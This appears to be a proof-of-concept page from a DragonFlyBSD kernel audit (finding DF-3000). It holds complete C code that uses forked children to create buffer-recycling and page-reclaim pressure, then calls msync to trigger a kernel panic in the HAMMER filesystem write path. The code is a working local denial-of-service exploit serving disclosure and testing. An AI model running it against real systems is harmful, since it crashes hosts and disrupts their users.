DragonFlyBSD Kernel Audit
DF-3000 / op3000e.c
← back to finding ↓ download raw
/*
 * DF-3000 PoC (attempt 5): concurrent buffer-recycling + page-reclaim.
 *
 *  parent: file on hammer1; mmap MAP_SHARED; fill; msync (buffers clean);
 *          dirty sparse pages (1 per 16K block + last page of the partial
 *          final block) -> dirty pages pinned, buffers still clean.
 *  child A (buffer demand): dd-style unique writes of ~1.2GB to a file on
 *          the hammer2 root -> thousands of NEW buffers -> getnewbuf()
 *          recycles the clean-queued hammer1 buffers -> their pages are
 *          unwired (dirty page survives, clean siblings become reclaimable).
 *  child B (page reclaim): touch ~2.8GB anon -> page daemon reclaims the
 *          now-unwired clean sibling pages.
 *  parent: msync(MS_SYNC) -> putpages -> hammer_vop_write(UIO_NOCOPY):
 *          getblk(16K) sees missing pages -> !B_CACHE -> bqrelse(bp) +
 *          bread(&bp) (breadnx reuses the RELEASED buffer) -> bwrite() on
 *          an unlocked buffer -> panic("bwrite: buffer is not busy???").
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <sys/mman.h>
#include <sys/sysctl.h>
#include <sys/wait.h>

static const char *churnfile = "/big2.bin";

static void
buffer_demand_child(void)
{
	int fd = open(churnfile, O_RDWR|O_CREAT|O_TRUNC, 0644);
	static char buf[65536];
	if (fd < 0) _exit(1);
	memset(buf, 0x5a, sizeof(buf));
	for (int mb = 0; mb < 1200; mb++) {
		for (int j = 0; j < 16; j++)
			if (pwrite(fd, buf, sizeof(buf),
				   (off_t)mb * 1048576 + j * 65536) < 0)
				_exit(1);
	}
	ftruncate(fd, 0);
	close(fd);
	_exit(0);
}

static void
anon_child(unsigned long physmem)
{
	size_t sz = (physmem / 32) * 27 & ~4095UL;	/* ~84% */
	char *p, *big = mmap(NULL, sz, PROT_READ|PROT_WRITE,
			     MAP_ANON | MAP_SHARED, -1, 0);
	if (big == MAP_FAILED)
		_exit(1);
	for (p = big; p < big + sz; p += 4096)
		*p = 1;
	/* hold the pressure while parent msyncs */
	sleep(6);
	munmap(big, sz);
	_exit(0);
}

int
main(int argc, char **argv)
{
	const char *path = (argc > 1) ? argv[1] : "/mnt/h1/df3000e.bin";
	size_t fsize = (1 << 20) + 8192;
	pid_t pa, pb;
	int st;

	setvbuf(stdout, NULL, _IONBF, 0);

	unsigned long physmem;
	size_t len = sizeof(physmem);
	sysctlbyname("hw.physmem", &physmem, &len, NULL, 0);

	int fd = open(path, O_RDWR|O_CREAT|O_TRUNC, 0644);
	if (fd < 0) { perror("open"); return 1; }
	if (ftruncate(fd, fsize)) { perror("ftruncate"); return 1; }

	char *w = mmap(NULL, fsize, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
	if (w == MAP_FAILED) { perror("mmap"); return 1; }

	memset(w, 0, fsize);
	if (msync(w, fsize, MS_SYNC)) perror("msync fill");

	/* sparse dirty set: one page per 16K block + final page */
	for (size_t off = 0; off < fsize; off += 16384)
		w[off + 64] = (char)off;
	w[fsize - 1] = 0x42;
	printf("sparse pages dirtied; launching pressure children\n");

	pa = fork();
	if (pa == 0) buffer_demand_child();
	pb = fork();
	if (pb == 0) anon_child(physmem);

	/* let the children work: buffers recycle, siblings reclaimed */
	sleep(4);

	printf("msync(MS_SYNC) putpages...\n");
	if (msync(w, fsize, MS_SYNC))
		printf("msync: %s\n", strerror(errno));
	else
		printf("msync: OK\n");

	kill(pa, SIGKILL); kill(pb, SIGKILL);
	waitpid(pa, &st, 0); waitpid(pb, &st, 0);
	munmap(w, fsize);
	close(fd);
	unlink(path);
	printf("done, no panic\n");
	return 0;
}